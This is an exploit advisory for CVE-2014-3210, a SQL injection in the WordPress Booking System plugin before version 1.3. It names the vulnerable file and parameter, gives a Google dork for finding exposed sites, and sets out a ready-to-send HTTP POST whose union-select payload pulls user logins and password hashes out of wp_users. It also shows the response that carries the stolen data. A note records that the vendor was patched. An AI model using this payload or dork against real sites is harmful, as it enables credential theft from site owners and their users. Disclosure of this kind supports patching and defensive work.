WordPress Booking System SQL Injection

`# Exploit Title: Wordpress Booking System (Booking Calendar) plugin  
SQL Injection  
# Release Date: 2014-05-21  
# Author: maodun  
# Contact: Twitter: @conmancm  
# Software Link: http://wordpress.org/support/plugin/booking-system  
# Affected version: < 1.3  
# Google Dork: inurl:/wp-content/plugins/booking-system/  
# REF:CVE-2014-3210  
-----------------------------------------------------------------------------------------------------------------  
# Introduction:  
Booking System is great for booking hotel rooms, apartments, houses,  
villas, rooms etc, make appointments to doctors, dentists, lawyers,  
beauty salons, spas, massage therapists etc or schedule events.  
-------------------------------------------------------------------------------------------------------------------------  
# SQLi - Proof Of Concept:  
vulnerable path:  
/wp-content/plugins/booking-system/dopbs-backend-forms.php  
  
vulnerabile parameter:$_POST['booking_form_id']  
  
POC:  
  
POST /wp/wp-admin/admin-ajax.php HTTP/1.1  
Host: 127.0.0.1  
Content-Length: 149  
Cookie: [your cookie]  
  
action=dopbs_show_booking_form_fields&booking_form_id=100 union select  
1,2,3,4,5,6,7,8,9,hex(concat(user_login,user_pass)) from  
wp_users#&language=cr  
  
response:  
<input type="hidden" name="booking-form-field-translation-1"  
id="booking-form-field-translation-1" value="[hex value here]" />  
  
-------------------------------------------------------------------------------------------------------------------------  
# Patch:  
-- Vendor was notified on the 2014-05-05  
-- Vendor released version 1.3 on 2014-05-06 Fixed the bug  
-------------------------------------------------------------------------------------------------------------------------  
`